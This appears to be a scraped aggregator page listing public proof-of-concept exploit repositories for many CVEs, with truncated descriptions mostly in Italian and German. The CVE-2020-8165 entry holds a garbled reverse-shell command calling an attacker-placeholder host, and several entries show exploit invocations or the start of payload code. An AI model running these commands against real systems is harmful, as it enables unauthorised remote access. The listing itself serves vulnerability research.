CVE-2024-6387-analysis

CVE-2024-6387 Analisi della vulnerabilità di race condition del segnale in OpenSSH Panoramica della vulnerabilità CVE-2024-6387 è una vulnerabilità di race condition nella gestione dei segnali presente nelle versioni di OpenSSH dalla 8.5p1 alla 9.7p1, nota come "regreSSHion". Un attaccante può...

CVE-2026-33454

Riproduttore della vulnerabilità di iniezione negli header di camel-mail → RCE CVE-2026-33454 Questo progetto dimostra una vulnerabilità di iniezione negli header dei messaggi Camel nel componente camel-mail di Apache Camel, registrata come CVE-2026-33454. Un attaccante in grado di consegnare...

CVE-2020-8165

CVE-2020-8165 Exploit Python Questo è un codice per sfruttare CVE-2020-8165 usando Python3. Questo exploit funziona con Rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Crediti Principali Dettagli originali del CVE:...

log4shell-poc

CVE-2021-44228 Log4Shell POC Panoramica Proof of Concept per l'esecuzione remota di codice tramite la vulnerabilità di iniezione JNDI in Apache Log4j 2.14.1. Web Hacking Course - Assegnazione Settimana 11. Ambiente...

CVE-2021-21220

Prima installa: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Versione Chrome: 90.0.4403.0 Installa chrome-win.zip 1. node server.js esegui ./chrome.exe --no-sandbox vai su localhost:8888 Nota che la CVE sfruttata da questo exploit è CVE...

CVE-2025-55182-React-RSC-Exploit

CVE-2025-55182 // REACT SERVER COMPONENTS RCE PANORAMICA Exploit PoC per CVE-2025-55182. Prende di mira versioni non sicure e vulnerabilità nelle funzioni di validazione dell'input in React Server Components. MECCANISMO TECNICO Vettore : Prototype pollution tramite $1:proto :then durante...

CVE-2021-44827

CVE-2021-44827 Un PoC per CVE-2021-44827 - esecuzione remota di codice autenticata su Tp-link Archer C20i Write-up: https://full-disclosure.eu/reports/2022/CVE-2021-44827-tplink-authenticated-remote-code-execution.html Esempio root@kitploit: $ python exploit.py error0 error0 Run postexploitcmd...

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution

AgentDVR-5.1.6.0-Caricamento-file-ed-Esecuzione-Remota-di-Codice CVE-2024-22515 caricamento file arbitrario e CVE-2024-22514 esecuzione remota di codice per AgentDVR 5.1.6.0 Autenticato Versioni precedenti probabilmente affette https://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution...

CVE-2026-64638

🛡️ CVE-2026-64638 - XSS2Shell XSS riflesso pre-autenticazione di WordPress con potenziale escalation a esecuzione di codice PHP 📌 Panoramica CVE-2026-64638 è una vulnerabilità ad alta severità di tipo Cross-Site Scripting XSS riflesso pre-autenticazione che interessa la schermata di accesso di...

CVE-2025-48593

CVE-2025-48593: Esecuzione di codice remoto zero-click nel sistema Android Autore: LAKSHMIKANTHAN K letchupkt Data: novembre 2025 Gravità: Critica Una vulnerabilità critica di esecuzione di codice remoto zero-click che colpisce i dispositivi Android 13-16. Panoramica della vulnerabilità Attributo...

CVE-2026-64638-WordPress-Core-XSS2Shell

CVE-2026-64638 — Nuclei-Erkennungsvorlage Nuclei-Vorlage zur nicht-intrusiven Erkennung von XSS2Shell , einer ohne Authentifizierung ausnutzbaren Differential-Parser-Schwachstelle im WordPress-Core, die das Einschleusen von DOM-Elementen in die Login-Seite ermöglicht und als Grundlage für eine...

CVE-2025-32432-PoC

CVE-2025-32432: Strumento di Exploit da Log-Poisoning a RCE Descrizione Questo repository contiene un exploit proof-of-concept PoC professionale scritto in Go, progettato per dimostrare una catena di vulnerabilità critica in Craft CMS. L'exploit sfrutta una vulnerabilità di log-poisoning che port...

CVE-2018-12613

CVE-2018-12613 Exploit standalone modificato e portato a Python 3. Testato su Python 3.7.3, con phpMyAdmin 4.8.1 in esecuzione su Ubuntu 16.04. Funziona solo su Linux. Exploit originale di SSD. Tutti i crediti vanno a loro. Modifiche apportate 1. Aggiunta funzione per uscire se il nome...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 è una vulnerabilità critica che porta all'esecuzione di codice remoto RCE in Apache Tomcat. Questa vulnerabilità funziona sulle versioni 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81. Testata solo su 8.0.24. La vulnerabilità sfrutta l'opzione PUT...

CVE-2024-41662

CVE-2024-41662 Markdown XSS porta a RCE in VNote versione NOTA: L'applicazione convalida correttamente alcuni payload JavaScript eseguendo una codifica di output nell'app. Tuttavia, non riesce a convalidarli in alcuni casi...

CVE-2022-22963-POC

Exploit CVE-2022-22963 Descrizione Nelle versioni di Spring Cloud Function 3.1.6, 3.2.2 e versioni precedenti non supportate, quando si utilizza la funzionalità di routing è possibile che un utente fornisca uno SpEL appositamente modificato come routing-expression che può comportare l'esecuzione ...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC z. B. root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP-Code-Injection PoC Exploit Bash CVE-2023-46818 Authentifizierte PHP-Code-Injection in ISPConfig Weitere Details: Advisory CVE-2023-46818 PoC Einleitung ISPConfig Versionen Hinweis: Dieser Exploit erfordert gültige ISPConfig-Admin-Anmeldeinformationen und stellt eine...

EXP_CVE-2018-19518

CVE-2018-19518 Dichiarazione di non responsabilità Questo programma deve essere utilizzato solo per scopi autorizzati di test di sicurezza e ricerca. Gli utenti devono utilizzare lo strumento in conformità con le leggi sulla cybersicurezza. L'autore non è responsabile per eventuali attacchi...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Ausnutzen von CVE-2024-2961 und CVE-2023–26326 für RCE Verwendung root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Analyse...